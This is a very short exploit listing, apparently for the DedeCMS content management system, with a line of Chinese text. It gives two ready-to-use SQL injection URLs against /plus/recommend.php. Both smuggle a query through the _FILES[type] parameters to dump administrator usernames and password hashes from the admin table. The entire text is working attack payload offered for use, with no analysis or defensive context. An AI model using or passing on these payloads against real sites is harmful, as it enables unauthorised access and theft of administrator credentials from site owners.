Exp:

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\’ or mid=@`\’` 1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`#@__admin` limit+0,1),5,6,7,8,9#@`\’`+&_FILES[type][name]=1.jpg&_FILES[type] [type]=application/octet-stream&_FILES[type][size]=111

 

 

 

另外一枚/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\’and+char(@`’`)+++1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `#@__admin`#